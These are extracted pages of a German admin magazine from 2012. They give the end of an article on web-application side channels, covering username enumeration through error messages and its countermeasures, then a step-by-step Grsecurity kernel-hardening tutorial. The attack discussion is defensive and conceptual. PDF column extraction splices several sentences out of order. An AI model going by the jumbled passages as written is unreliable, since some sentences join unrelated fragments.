zeitabhängig stark an, oder lassen sich<br />
viele Fehler auf wenige Benutzer zurückverfolgen,<br />
so könnte das ein Anzeichen<br />
für einen Angriff sein.<br />
Seitenkanäle führen zu Informationslecks,<br />
die nur bei genauem Hinsehen<br />
sichtbar werden und können über Jahre<br />
unentdeckt bleiben. In den hier gezeigten<br />
Seitenkanälen stecken die Informationslecks<br />
in den dynamischen Fragmenten<br />
des HTTP- und HTML-Anteils von Web-<br />
Seiten. Da Web-Seiten auch weiterhin zunehmend<br />
dynamischer werden, wächst<br />
die Wahrscheinlichkeit für solche Seitenkanäle,<br />
und es wird schwieriger, die<br />
Seitenkanäle und die ungefährlichen dynamischen<br />
Teile auseinanderzuhalten.<br />
Es bleibt daher den Programmierern der<br />
Anwendungen überlassen, solche Seitender<br />
Benutzername existiert oder nicht,<br />
und der <strong>Angreifer</strong> hat eine generische<br />
Schwachstelle in der Zielanwendung gefunden.<br />
Der <strong>Angreifer</strong> kann jetzt einen<br />
Brute-Force-Angriff mit verschiedenen<br />
Benutzernamen starten und anhand der<br />
Antworten herausfinden, ob ein Benutzername<br />
existiert oder nicht.<br />
Gegenmaßnahmen<br />
Um Informationslecks durch Fehlermeldungen<br />
zu verhindern, sollten Fehlermeldungen<br />
so generisch wie möglich sein. Es<br />
reicht in vielen Fällen aus, den Benutzern<br />
eine generische Seite zu zeigen, in der<br />
zusätzlich zu der generischen Fehlermeldung<br />
eine zufällig generierte und eindeutige<br />
Fehler-ID zugeordnet wird. Kann der<br />
Benutzer sein Problem nicht selbst lösen,<br />
so können Administratoren über die<br />
Fehler-ID die detaillierte Fehlermeldung<br />
einsehen. So hat man verhindert, dass<br />
ein <strong>Angreifer</strong> vertrauliche Informationen<br />
kanäle zu entdecken und zu schließen,<br />
wie es die Postfixadmin- und den Typo3-<br />
Entwickler taten. (jcb)<br />
n<br />
Infos<br />
[1] Tibor Jager und Juraj Somorovsky: „How<br />
to break XML Encryption“, ACM CCS 2011.<br />
[2] Felix Freiling und Sebastian Schinzel:<br />
„Detecting Hidden Storage Side Channel<br />
Vulnerabilities in Networked Applications“,<br />
IFIP Sec 2012<br />
[3] Juliano Rizzo und Thai Duong: „Practical<br />
Padding Oracle Attacks“, Usenix WOOT<br />
2010<br />
Der Autor<br />
Dr. Sebastian Schinzel ist wissenschaftlicher<br />
Mitarbeiter der Universität Erlangen-Nürnberg<br />
und erforscht dort verdeckte Informationslecks<br />
in Web-Anwendungen. Er ist zudem seit mehr als<br />
sechs Jahren als Autor, Referent und Penetrationstester<br />
tätig und berät Unternehmen zu der<br />
Sicherheit von Softwareanwendungen.<br />
Anzeige<br />
Kann eine<br />
Schulungseinrichtung<br />
für mehr als EINEN<br />
Themenbereich<br />
berühmt werden?<br />
Das Linuxhotel ist bekannt für erstklassige Open-Source-Schulungen. In den letzten Jahren kamen Java<br />
und andere Programmiersprachen hinzu - wie immer in Kooperation mit führenden Spezialisten, und in<br />
abgeschiedener, konzentrierter, aber auch ziemlich verspielter Umgebung. Es ist so naheliegend, auch<br />
Entwicklerthemen bei den OpenSource‘lern zu lernen, weil man dort schon immer sehr „unter die<br />
Haube“ guckte und mit viel Freude intensivst arbeitet. Das weiss ein Großteil der deutschen Admins, nur<br />
unter Entwicklern hat's sich noch nicht so ganz herumgesprochen.<br />
Mehr siehe www.linuxhotel.de<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
55
Security<br />
Grsecurity<br />
© Luce Morin, 123RF<br />
Systemsicherheit erhöhen mit Grsecurity<br />
Abgedichtet<br />
Sicherheitsbewusste ziehen um ihr Haus einen tiefen Wassergraben mit Krokodilen, verstecken ihr Mobiliar in<br />
Hinterzimmern und lassen Besucher nur nach der Nennung eines geheimen Codewortes ins Bad. Nach einem<br />
ähnlichen radikalen Prinzip baut Grsecurity Linux-Systeme zu einer Festung aus. Tim Schürmann<br />
Eine kleine Patch-Sammlung namens<br />
Grsecurity (für Greater Security) verwandelt<br />
den Linux-Kernel in einen extrem<br />
misstrauischen Gesellen. Gleich mit einem<br />
ganzen Maßnahmenbündel versucht<br />
er präventiv, <strong>Angreifer</strong> auszusperren, und<br />
behandelt jeden Benutzer erst einmal als<br />
prinzipielle Gefahrenquelle. So erlaubt er<br />
unter anderem den Aufruf von »dmesg«<br />
nur ganz bestimmten Benutzern, riegelt<br />
das »/proc«-Verzeichnis ab und der Kernel<br />
verhindert Zugriffe auf »/dev/kmem«,<br />
»/dev/mem« und »/dev/port«. Anwendungen<br />
schiebt er an eine zufällige Stelle<br />
im Hauptspeicher (Address Space Layout<br />
Randomization) und versteckt alle<br />
Kernel-Threads.<br />
Rollenspiel<br />
Grsecurity zunächst allen Benutzern ihre<br />
Zugriffsrechte, versteckt vor ihnen sogar<br />
Teile des Dateisystems und erlaubt so nur<br />
das gerade Notwendige. Anschließend<br />
gestattet der Administrator einzelnen Benutzern<br />
dann gezielt wieder bestimmte<br />
Aktionen. Benutzer mit ähnlichen Aufgaben<br />
lassen sich in Gruppen zusammenfassen,<br />
den sogenannten Rollen. Denen<br />
kann der Admin anschließend ebenfalls<br />
weitere Rechte zugestehen. So darf beispielsweise<br />
die Gruppe der Webmaster<br />
den SSH-Daemon starten, die Gruppe<br />
der Datenbankadministratoren hin<strong>gegen</strong><br />
nicht.<br />
Die Konfiguration bleibt dennoch kinderleicht:<br />
Man lässt Grsecurity einfach<br />
eine Weile die Arbeit des Webmasters<br />
beobachten und anschließend die dabei<br />
durchgeführten Aktionen für ihn freigeben.<br />
Sämtliche anderen Aktionen bleiben<br />
weiterhin verboten. Diese automatisch<br />
ermittelte Konfiguration lässt sich selbstverständlich<br />
noch manuell verfeinern<br />
beziehungsweise anpassen.<br />
Von RBAC unabhängig verhindert Grsecurity,<br />
dass Benutzer eigene, möglicherweise<br />
böswillige Programme oder Skripte<br />
starten (Trusted Path Execution). Aufrufen<br />
lassen sich dann nur noch Anwendungen<br />
aus Verzeichnissen, für die ausschließlich<br />
der Benutzer »root« Schreibrechte<br />
besitzt. Abschließend dichtet Grsecurity<br />
auch noch Chroot-Umgebungen so ab,<br />
dass die darin laufenden Programme<br />
weder Zugriff auf Systemfunktionen er-<br />
Den Kern von Grsecurity bildet jedoch<br />
die rollenbasierte Zugriffskontrolle (Role<br />
Based Access Control, kurz RBAC),<br />
die auf der schon vorhandenen Rechteverwaltung<br />
aufsetzt. Dabei entzieht<br />
Abbildung 1: Zum Redaktionsschluss enthielt das Repository von Julien Tinnes nur diese Kernel-Versionen.<br />
56 Ausgabe 04-2012 Admin www.admin-magazin.de
Grsecurity<br />
Security<br />
halten, noch ihr neues Zuhause wieder<br />
verlassen können.<br />
Alle diese Funktionen erschweren einen<br />
Einbruch in das System erheblich und<br />
<strong>schützen</strong> somit auch vor noch unbekannten<br />
Sicherheitslücken. Sollte es dennoch<br />
passieren, kann ein kompromittiertes<br />
Programm dank beschränkter Zugriffsrechte<br />
keinen größeren Schaden anrichten.<br />
Grsecurity steht unter der freien GNU<br />
GPL, die Weiterentwicklung finanziert<br />
sein Autor Brad Spengler aus Spenden<br />
und über kommerziellen Support.<br />
Gespaltene Persönlichkeit<br />
Grsecurity besteht aus mehreren Teilen:<br />
Dank der Patch-Sammlung überwacht<br />
der Linux-Kernel alle Prozesse und unterbindet<br />
im Fall der Fälle verbotene Aktionen.<br />
Die Konfiguration und Einrichtung<br />
des RBAC-Systems übernimmt das kleine<br />
Kommandozeilenwerkzeug »gradm«, die<br />
übrigen Kernel-Funktionen schaltet man<br />
über »sysctl« ein und aus.<br />
Dummerweise steht der Kernel-Patch nur<br />
für bestimmte Kernel-Versionen bereit,<br />
zum Redaktionsschluss trugen sie die<br />
Nummern 3.2.19 und 2.6.32.59. Diese<br />
beiden Kernel hält Brad Spengler für stabil.<br />
Darüber hinaus lässt sich der Patch<br />
nur auf den originalen, unmodifizierten<br />
Kernel von kernel.org anwenden (den<br />
sogenannten Vanilla-Kernel). Da keine<br />
der großen Distributionen einen mit Grsecurity<br />
gepatchten Kernel anbietet, muss<br />
man folglich selbst den originalen Kernel<br />
herunterladen, patchen, übersetzen und<br />
dann auch immer noch auf dem aktuellen<br />
Stand halten. Das sollte man nur in<br />
Angriff nehmen, wenn man auf diesem<br />
Gebiet bereits Erfahrungen gesammelt<br />
hat. Als Alternative bieten sich ähnlich<br />
arbeitende Systeme an, wie etwa Tomoyo<br />
[2].<br />
Zahlenspiele<br />
Wie man einen Kernel übersetzt, hängt<br />
von der jeweiligen Distribution ab.<br />
Die meisten bringen dafür einen Satz<br />
Spezialwerkzeuge mit. Unter Ubuntu<br />
installiert der Befehl alles Notwendige:<br />
sudo apt‐get install fakeroot U<br />
build‐essential libncurses5 U<br />
libncurses5‐dev kernel‐package<br />
Abbildung 2: In diesem Fall ist das Archiv mit den Kernel-Patches unversehrt.<br />
Die Grsecurity-Homepage [1] verrät, für<br />
welche Kernel-Versionen überhaupt passende<br />
Patches bereitstehen. Für einen<br />
davon müssen Sie sich entscheiden, im<br />
Folgenden soll beispielhaft der Kernel<br />
3.2.19 zum Einsatz kommen. Für ihn<br />
laden Sie den passenden Grsecurity-<br />
Patch herunter. Zum Redaktionsschluss<br />
war die Grsecurity-Version 2.9 erhältlich,<br />
die benötigte Datei heißt somit »grsecurity‐2.9‐3.2.19‐...«.<br />
Am besten laden Sie<br />
sich auch gleich noch das Archiv für<br />
»gradm« herunter, das unbedingt dieselbe<br />
Extrawurst<br />
Versionsnummer wie Grsecurity tragen<br />
muss, im Beispiel also die 2.9. Weiter<br />
geht es zu kernel.org [5], wo Sie sich<br />
die „Full Source“ der passenden Kernel-<br />
Version besorgen, im Beispiel also 3.2.19.<br />
Alle heruntergeladenen Dateien sollten<br />
für die folgenden Schritte im selben Verzeichnis<br />
liegen.<br />
Um die Echtheit zu prüfen, laden Sie<br />
sich den Schlüssel von der Grsecurity-<br />
Homepage herunter (über den etwas unscheinbaren<br />
Link »You can download the<br />
key used to sign these packages here«).<br />
Eine kleine Sonderrolle nehmen Debian 6 und<br />
Ubuntu 12.04 ein. Zunächst einmal halten diese<br />
beiden Distributionen eine ältere Version des<br />
Werkzeugs »gradm« in ihren Repositories<br />
bereit, bieten aber kurioserweise keinen mit<br />
Grsecurity gehärteten Kernel. Den stellt stellvertretend<br />
Julien Tinnes in einem eigenen Repository<br />
bereit [3]. Die Auswahl beschränkt<br />
sich allerdings auf ein paar Kernel mit der Versionsnummer<br />
2.6.32 und jünger (Abbildung 1). Für<br />
Debian 6 dürfte das noch passen, Ubuntu 12.04<br />
setzt jedoch schon den Kernel 3.2 ein.<br />
Darüber hinaus fehlt im Repository ein zu den<br />
Kerneln passendes »gradm«-Werkzeug. Die<br />
Fassung auf der Grsecurity-Homepage trug<br />
zum Redaktionsschluss bereits eine höhere<br />
Versionsnummer und arbeitet somit nicht mehr<br />
mit den von Julien Tinnes gebauten Kerneln<br />
zusammen. Auch das von Debian mitgelieferte<br />
»gradm«-Paket ist hier nutzlos. Da man zudem<br />
Julien Tinnes und seinen Kerneln blind vertrauen<br />
muss, eignet sich sein Angebot nur zum<br />
schnellen Ausprobieren von Grsecurity unter<br />
Debian – wenn man denn auf das RBAC-System<br />
verzichten kann. Das Repository fügen in diesem<br />
Fall die folgenden Befehle hinzu:<br />
su root<br />
echo 'deb http://debian.cr0.org/repo/<br />
kernel‐security/' >> /etc/apt/sources.list<br />
wget http://kernelsec.cr0.org/<br />
kernel‐security.asc<br />
apt‐key add kernel‐security.asc<br />
apt‐get update<br />
Jetzt kann man sich alle darin verfügbaren Kernel<br />
anzeigen lassen:<br />
apt‐cache search linux image grsec<br />
und den Kernel mit der höchsten Versionsnummer<br />
installieren:<br />
apt‐get install<br />
linux‐image‐2.6.32.15‐1‐grsec<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
57
Security<br />
Grsecurity<br />
Anschließend kopieren Sie sich noch die<br />
jeweiligen Signaturen über die [sig]-Links<br />
und rufen dann folgende Befehle auf:<br />
gpg ‐‐import spender‐gpg‐key.asc<br />
gpg ‐‐verify grsecurity‐2.9‐3.2.19‐U<br />
201206042135.patch.sig<br />
gpg ‐‐verify gradm‐2.9‐201202232055.tar.U<br />
gz.sig<br />
Die Ausgaben sollten wie in Abbildung<br />
2 aussehen. Wichtig ist, dass in den<br />
Meldungen ein »Korrekte Unterschrift«<br />
erscheint. Andernfalls müssen Sie den<br />
Patch beziehungsweise das »gradm«-Archiv<br />
noch einmal erneut herunterladen.<br />
Zusätzlich kann man noch den Haupt-<br />
Fingerabdruck prüfen. Für die Grsecurity-Archive<br />
steht er auf der Grsecurity-<br />
Downloadseite. Da aber alle diese Informationen<br />
von derselben Seite stammen,<br />
muss man letztlich dieser Quelle mehr<br />
oder weniger vertrauen. Das Kernel-Archiv<br />
verifiziert man nach dem gleichen<br />
Prinzip, alle notwendigen Schritte nennt<br />
die Seite [5].<br />
Als Nächstes entpacken Sie das Kernel-<br />
Archiv:<br />
tar xvfj linux‐3.2.19.tar.bz2<br />
cd linux‐3.2.19<br />
Bei Bedarf könnnen Sie die Kernel-Konfiguration<br />
der Distribution übernehmen,<br />
unter Ubuntu etwa mit:<br />
cp /boot/config‐`uname ‐r` .config<br />
Jetzt gilt es, den Kernel mit Grsecurity<br />
zu patchen:<br />
patch ‐p1 < ../grsecurity‐2.9‐3.2.19‐U<br />
201206042135.patch<br />
und ihn dann zu konfigurieren:<br />
make menuconfig<br />
Stellwerk<br />
Die Einstellungen zu Grsecurity verstecken<br />
sich unter den »Securtiy Options<br />
| Grsecurity«, wo Sie Grsecurity einschalten.<br />
Für jede Sicherheitsfunktion<br />
erscheint jetzt ein weiterer Punkt (Abbildung<br />
3). Die Punkte können Sie einzeln<br />
nacheinander durchgehen – oder aber<br />
einfach hinter »Security Level« eine von<br />
drei möglichen Voreinstellungen aktivieren.<br />
»High« schaltet einfach sämtliche<br />
Sicherheitsfunktionen ein. Es bietet damit<br />
die höchste Sicherheit, einige wenige<br />
Programme könnten aber später Probleme<br />
bereiten.<br />
Für die ersten Schritte mit Grsecurity<br />
bietet sich daher zunächst das »Low«-<br />
Profil an. Es aktiviert zwar nur einen Teil<br />
der Sicherheitsfunktionen, ungewollte<br />
Nebeneffekte sind damit jedoch ausgeschlossen.<br />
Läuft das System einwandfrei,<br />
schalten Sie nach und nach auf das jeweils<br />
striktere Profil um. Einen schnellen<br />
Überblick über die Sicherheitsfunktionen<br />
der einzelnen Profile gibt der Kasten<br />
„Profiliert“.<br />
Nach der Wahl des Profils sollten Sie<br />
zusätzlich unter »Sysctl support« den<br />
»Sysctl support« und »Turn on features<br />
by default« aktivieren. Damit können Sie<br />
später im laufenden System einige Sicherheitsfunktionen<br />
über simple Kommandozeilenbefehle<br />
ein- und ausschalten (zu<br />
denen später noch mehr). Das ist nicht<br />
nur bequem, um schnell eine Funktion<br />
zu testen oder eine störende abzuschalten.<br />
Sie ersparen sich damit gleichzeitig,<br />
den Kernels erneut zu übersetzen.<br />
Aufgepasst<br />
Wenn Sie das System in den produktiven<br />
Betrieb nehmen, sollten Sie den »Sysctl<br />
support« jedoch wieder deaktivieren. Andernfalls<br />
könnten <strong>Angreifer</strong> darüber das<br />
Sicherheitssystem unbemerkt abschalten.<br />
Alle übrigen hier im Kernel von Grsecurity<br />
angebotenen Funktionen sollten Sie<br />
nur ein- und ausschalten, wenn Sie ihre<br />
Bedeutung und Wirkung kennen.<br />
Abschließend konfigurieren Sie den übrigen<br />
Kernel nach Ihren Bedürfnissen und<br />
Profiliert<br />
Standardmäßig ist in jedem Profil das RBAC-System aktiv – allerdings mit<br />
unterschiedlich strengen Restriktionen. Da einige Programme nicht mit<br />
der Trusted Path Execution zurechtkommen, muss man sie im Bereich<br />
»Executable Protections« grundsätzlich selbst aktivieren.<br />
Low<br />
In frei beschreibbaren Verzeichnissen wie »/tmp« können Benutzer weder<br />
FIFOs anlegen noch (endlos) symbolischen Links folgen. Zudem bleibt es<br />
ihnen verwehrt, Hardlinks auf fremde Dateien zu erstellen, unbegrenzt<br />
mit »execvs()« Prozesse zu starten und mit dem Kommando »dmesg« das<br />
Kernel-Log anzusehen. Wechselt eine Anwendung in eine Chroot-Umgebung,<br />
setzt Grsecurity ihr Arbeitsverzeichnis auf das Root-Verzeichnis der<br />
Chroot-Umgebung. Damit ist es der Anwendung nicht mehr möglich, doch<br />
noch auf ein Verzeichnis außerhalb der Chroot-Umgebung zuzugreifen.<br />
Medium<br />
Dieses Profil dichtet vor allem Chroot-Umgebungen weiter ab. So verwehrt<br />
Grsecurity den darin laufenden Prozessen unter anderem das Mounten von<br />
Dateisystemen, Zugriffe auf Kernelparameter (via »sysctl« oder über »/<br />
proc«) sowie »mknod«-Aufrufe. Im übrigen System widmet sich Grsecurity<br />
verstärkt dem Hauptspeicher. So verbietet es den Zugriff auf »/dev/<br />
kmem«, »/dev/mem« und »/dev/port«. Das soll vor allem Rootkits den Weg<br />
in den Kernel erschweren.<br />
Zudem landen neu gestartete Programme an einer zufällig gewählten<br />
Stelle im Hauptspeicher (Address Space Layout Randomization, ASLR).<br />
Das erschwert es Schadcode, die Sicherheitslücke im Programm zu finden.<br />
Grsecurity protokolliert mit dieser Einstellung auch fehlgeschlagene<br />
»fork()«-Aufrufe, Änderungen der Systemzeit und Abstürze in Form einer<br />
Zugriffsverletzung (Segmentation Fault). Einblick in »/proc« bekommen<br />
jetzt nur noch Benutzer aus der Gruppe mit der GID 1001. In der Folge<br />
sehen Benutzer nur noch ihre eigenen Prozesse. Laut Brad Spengler sollen<br />
die im Medium-Profil aktivierten Sicherheitsfunktionen nur bei veralteter,<br />
schlecht geschriebener oder spezieller Software Probleme bereiten. Beispielsweise<br />
muss man einem »identd«-Daemon die GID 1001 verpassen<br />
– sofern man überhaupt diesen Dienst nutzt.<br />
High<br />
Das höchste Sicherheitsprofil verschärft noch einmal alle Maßnahmen.<br />
So entfernt Grsecurity alle Adressangaben unter »/proc«. Die Pseudodateisysteme<br />
»sysfs« und »debugfs« (in der Regel also das Verzeichnis<br />
»/sys«) darf nur noch der Benutzer Root einsehen. Damit erhalten normale<br />
Nutzer keinen Einblick mehr in die Hardware- und Debug-Informationen<br />
des Systems. Darüber hinaus versteckt Grsecurity alle Kernelsymbole<br />
und randomisiert den Kernel-Stack. Das automatische Laden von Kernelmodulen<br />
ist nur noch unter dem Benutzer Root gestattet. Grsecurity<br />
protokolliert zudem das Ein- und Aushängen von Dateisystemen. Prozesse<br />
in einer Chroot-Umgebung dürfen weder Netzwerkschnittstellen einrichten<br />
noch Module laden oder das System neu starten.<br />
Eine ausführliche Beschreibung aller Funktion sowie der drei Profile liefert<br />
ein langer Anhang der offiziellen Grsecurity-Dokumentation [6].<br />
58 Ausgabe 04-2012 Admin www.admin-magazin.de
Grsecurity<br />
Security<br />
übersetzt ihn. Das erfolgt unter Ubuntu<br />
mit den Befehlen:<br />
make‐kpkg clean<br />
fakeroot make‐kpkg ‐‐initrd ‐‐append‐to‐U<br />
version "grsec" kernel_image<br />
Möglicherweise erhalten Sie dabei die<br />
Fehlermeldung aus Abbildung 4: »Your<br />
gcc installation does not support plugins.«.<br />
Um das Problem zu lösen, installieren<br />
Sie entweder das entsprechende<br />
Paket mit der Plugin-Unterstützung für<br />
GCC oder stellen dem »make«-Aufruf ein<br />
»DISABLE_PAX_PLUGINS=y« voran.<br />
Letzteres sieht im Fall von Ubuntu wie<br />
folgt aus:<br />
DISABLE_PAX_PLUGINS=y fakeroot make‐kpkgU<br />
‐‐initrd kernel_image<br />
Erscheint nach mehreren Tassen Kaffee<br />
die Erfolgsmeldung, können Sie den Kernel<br />
in den Bootvorgang einbinden. Unter<br />
Ubuntu müssen Sie dazu nur noch das<br />
erstellte Paket einspielen:<br />
cd ..<br />
sudo dpkg ‐i linux‐image*.deb<br />
Das erzeugt gleichzeitig einen neuen Eintrag<br />
im Bootmenü. Auch auf anderen Systemen<br />
sollten Sie zumindest während der<br />
Testphase den alten Kernel noch im Bootmenü<br />
behalten. Damit können Sie immer<br />
wieder zu ihm zurückkehren und bleiben<br />
im Fall der Fälle nicht ausgesperrt.<br />
Kommandozentrale<br />
Nach einem Neustart ist es recht schwierig<br />
herauszufinden, ob Grsecurity aktiv<br />
ist. Man kommt nicht umhin, ein paar<br />
seiner Funktionen zu prüfen. Als Erstes<br />
sollte<br />
Ging alles glatt, fordert »gradm« die Eingabe<br />
eines Passworts. Nur mit ihm könecho<br />
"0" >/proc/U<br />
sys/kernel/U<br />
grsecurity/dmesg<br />
wieder jedem Benutzer<br />
den Zugriff<br />
via »dmesg« auf<br />
das Kernel-Log. Alternativ<br />
kann man<br />
natürlich auch das<br />
Systemwerkzeug<br />
»sysctl« verwenden:<br />
sysctl kernel.U<br />
grsecurity.dmesg=0<br />
Bei dieser Variante<br />
steht jedem<br />
Kernel-Parameter<br />
grundsätzlich ein<br />
»kernel.grsecurity« voran. Alle möglichen<br />
Parameter und ihre aktuellen Einstellungen<br />
liefert (Abbildung 5):<br />
sysctl ‐a | grep ‐i grsec<br />
Die Änderungsmöglichkeit über »Sysctl«<br />
und »/proc« können Sie komplett abschalten<br />
beziehungsweise sperren:<br />
echo "1" >/proc/sys/kernel/grsecurity/<br />
grsec_lock<br />
Damit kann sie kein <strong>Angreifer</strong> mehr verändern<br />
– Sie selbst allerdings auch erst<br />
wieder nach einem Neustart.<br />
Die Zugriffskontrolle des RBAC-Systems<br />
ist standardmäßig deaktiviert. Um sie<br />
nutzen und einrichten zu können, muss<br />
man noch das Werkzeug »gradm« erstellen.<br />
Dazu braucht man die über den<br />
Abbildung 3: Mit Ausnahme des RBAC-Systems konfiguriert man die Grsecurity-<br />
Funktionen vor der Übersetzung des Linux-Kernels.<br />
Paketmanager nachgeholten Programme<br />
Bison und Lex (respektive Flex) sowie die<br />
folgenden Befehle:<br />
tar xvfz gradm‐2.9‐201202232055.tar.gz<br />
cd gradm2<br />
make<br />
sudo make install<br />
Unter Umständen meldet das letzte Kommando,<br />
dass es »/dev/grsec« nicht öffnen<br />
kann. In diesem Fall sollten Sie zunächst<br />
prüfen, ob Grsecurity tatsächlich aktiv<br />
ist. Sofern weder »udev« noch »devfs«<br />
laufen, muss man zudem die Gerätedatei<br />
selbst anlegen:<br />
mknod ‐m 0622 /dev/grsec c 1 13<br />
uname ‐r<br />
einen Kernel mit »‐grsec« nennen. Darüber<br />
hinaus darf man als normaler Benutzer<br />
nicht mehr mit »dmesg« das Kernel-<br />
Log abrufen.<br />
Sofern man die Sysctl-Schnittstelle aktiviert<br />
hat, erscheint unter »/proc/sys/<br />
kernel« das Verzeichnis »grsecurity«. Jede<br />
Datei dort repräsentiert eine grsecurity-<br />
Funktion. Indem man in sie als Benutzer<br />
»root« eine 1 oder 0 schreibt, schaltet<br />
man die Funktion ein beziehungsweise<br />
aus. Beispielsweise erlaubt der Kernel<br />
nach einem<br />
Abbildung 4: Erscheint diese Fehlermeldung beim Übersetzen des Kernels, unterstützt der Compiler<br />
keine Plugins.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
59
Security<br />
Grsecurity<br />
nen Sie später die Zugriffskontrolle wieder<br />
deaktivieren. Erneuern beziehungsweise<br />
ändern lässt sich dieses Passwort<br />
jederzeit via<br />
gradm ‐P<br />
Standardmäßig existiert eine spezielle<br />
Rolle »admin«. Wie ihr Name andeutet,<br />
darf ein »admin« das System administrieren.<br />
Im Auslieferungszustand könnte<br />
theoretisch jeder mit<br />
gradm ‐a admin<br />
zu einem »admin« aufsteigen (beziehungsweise<br />
diese Rolle einnehmen). Um<br />
das zu verhindern, gilt es ein Passwort<br />
zu setzen:<br />
gradm ‐P admin<br />
Vergeben Sie kein Passwort, wird »gradm«<br />
gleich diese Sicherheitslücke anprangern<br />
und den Start des RBAC-Systems<br />
verweigern. Analog gibt es eine Rolle<br />
»shutdown«. Diese müssen Sie später<br />
einnehmen, wenn Sie bei aktiviertem<br />
RBAC-System den Computer herunterfahren<br />
möchte. Auch für »shutdown« ist<br />
ein Passwort zu setzen:<br />
gradm ‐P shutdown<br />
Sämtliche Passwörter sammelt »gradm«<br />
verschlüsselt in der Datei »/etc/grsec/<br />
pw«.<br />
Jetzt endlich können Sie das RBAC-System<br />
aktivieren:<br />
gradm ‐E<br />
»gradm« liest dabei als Erstes<br />
die Konfigurationsdatei »/etc/<br />
grsec/policy« ein. Sie enthält<br />
das grundlegende Regelwerk<br />
und teilt dem RBAC-System<br />
mit, wer welche Zugriffsrechte<br />
besitzt. In ihr sind auch die<br />
mitgelieferten Rollen »admin«<br />
und »shutdown« definiert.<br />
Mit anderen Worten enthält<br />
die Datei »policy« nichts anderes<br />
als eine Access Control<br />
List (ACL). »gradm« prüft, ob<br />
dieses Regelwerk Sicherheitslöcher<br />
oder (Tipp-)Fehler enthält.<br />
Ist dies der Fall, bemängelt<br />
es die entsprechenden<br />
Punkte und lässt die Zugriffskontrolle<br />
deaktiviert. Andernfalls<br />
startet es das RBAC-System<br />
mit den in »/etc/grsec/policy« hinterlegten<br />
Rollen und Zugriffsrechten.<br />
Sobald das RBAC-System läuft, bleibt<br />
das Regelwerk für jegliche Änderungen<br />
gesperrt. Grsecurity versteckt sogar die<br />
Konfigurationsdateien unter »/etc/grsec«.<br />
Sehen kann man sie dann nur, wenn man<br />
in die Rolle »admin« schlüpft. Ebenso<br />
ist es jetzt selbst als »root« unmöglich,<br />
verschiedene Systemdienste wie den<br />
SSH-Daemon zu starten und zu stoppen.<br />
Auch das ist nur Benutzern in der Rolle<br />
»admin« gestattet. Um sie einzunehmen,<br />
ruft man:<br />
gradm ‐a admin<br />
auf. Jetzt sieht man wieder den Inhalt<br />
von »/etc/grsec« und kann den SSH-<br />
Daemon starten. Um die Rolle wieder<br />
abzulegen, genügt ein:<br />
gradm ‐u<br />
Durch das Rollen-Konzept erhält man<br />
folglich eine zweistufige Absicherung:<br />
Um einen Systemdienst zu starten oder<br />
zu stoppen, muss man zunächst Root-<br />
Rechte erhalten und dann noch per<br />
»gradm« in die Rolle »admin« schlüpfen.<br />
Schulung<br />
Nun könnten Sie die Konfigurationsdatei<br />
»/etc/grsec/policy« öffnen und ihr selbst<br />
weitere Rollen hinzufügen beziehungsweise<br />
die bisherigen Regeln verschärfen.<br />
Dabei passiert es jedoch leicht, dass man<br />
Abbildung 5: Welche Grsecurity-Funktionen man über »sysctl« ein- und<br />
ausschalten kann, hängt maßgeblich von den beim Übersetzen des Kernels<br />
gewählten Einstellungen ab.<br />
mehr Rechte zugesteht, als eigentlich<br />
notwendig, oder dass man wichtige Sonderfälle<br />
vergisst. »gradm« bietet deshalb<br />
einen Lernmodus. In ihm beobachtet es<br />
das System eine Zeit lang, merkt sich<br />
dabei alle ausgeführten Aktionen und generiert<br />
anschließend die passenden Regeln.<br />
Dazu müssen Sie das RBAC-System<br />
zunächst deaktivieren:<br />
gradm ‐D<br />
Hierzu ist das Passwort einzugeben, das<br />
man bei der Installation von »gradm«<br />
vorgegeben hat.<br />
Das komplette System überwacht<br />
»gradm« via:<br />
gradm ‐F ‐L /etc/grsec/gelerntes.log<br />
Alle protokollierten Aktionen landen<br />
in der Datei »/etc/grsec/gelerntes.log«.<br />
Jetzt sollten die Benutzer des Systems<br />
alle ihnen zukünftig erlaubten Aktionen<br />
ausführen – und zwar mehrmals.<br />
Die Wiederholung hat einen wichtigen<br />
Grund: »gradm« versucht grundsätzlich<br />
so wenige Regeln wie möglich zu generieren.<br />
Wenn beispielsweise ein aufgerufenes<br />
Programm mehr als vier Mal auf<br />
Dateien in einem Verzeichnis zugreift wie<br />
etwa unter »/tmp« gestattet Grsecurity<br />
ihm später den kompletten Schreibzugriff<br />
auf dieses Verzeichnis.<br />
Ausnahmen von diesen Regeln gibt die<br />
Datei »/etc/grsec/learn_config« vor. Alle<br />
in ihr genannten Verzeichnisse bleiben<br />
tabu und weiterhin gesperrt. Zudem<br />
können Sie hier das Lernverhalten<br />
für bestimmte Verzeichnisse<br />
beeinflussen. In<br />
jeder Zeile steht dabei genau<br />
ein Verzeichnis. Was mit ihm<br />
passieren soll, bestimmt das<br />
Schlüsselwort am Anfang.<br />
Die Bedeutungen der Befehle<br />
erklären die Kommentare am<br />
Anfang der Datei.<br />
Um die Rechte eines normalen<br />
Desktop-Anwenders zu ermitteln,<br />
sollten Sie den Lernmodus<br />
durchaus mehrere Tage<br />
mitlaufen lassen. Während<br />
dieser Zeit sollten Sie sich<br />
tunlichst verkneifen, administrative<br />
Aufgaben durchzuführen<br />
– denn die würde »gradm«<br />
später erlauben. Müssen Sie<br />
dennoch am System schrau-<br />
60 Ausgabe 04-2012 Admin www.admin-magazin.de
Grsecurity<br />
Security<br />
ben, wechseln Sie vorübergehend in die<br />
Rolle »admin«.<br />
Lernphase<br />
Alle in der Lernphase ausgeführten Aktionen<br />
ordnet »gradm« dem jeweiligen<br />
Linux-Benutzer zu. Um beispielsweise<br />
»root« wieder das Starten und Stoppen<br />
des SSH-Daemon zu gestatten, aktivieren<br />
Sie den Lernmodus, melden sich als<br />
Benutzer »root« an und starten mehrmals<br />
den SSH-Daemon. »gradm« erkennt, dass<br />
hier »root« am Werke war, und erlaubt<br />
nur ihm den SSH-Daemon zu starten.<br />
Im Hintergrund erstellt »gradm« dabei<br />
für jeden Benutzer und jede normale<br />
Gruppe des Linux-Systems eine eigene<br />
Rolle. Diese Rollen nimmt der Benutzer<br />
nach seiner Anmeldung am System automatisch<br />
ein. Gibt es für einen Benutzer<br />
noch keine eigene Rolle, beispielsweise<br />
weil er sich während der Lernphase nicht<br />
angemeldet hat, gilt für ihn die Standard-<br />
Rolle »default«. Das klingt nicht nur kompliziert,<br />
sondern sorgt bei der manuellen<br />
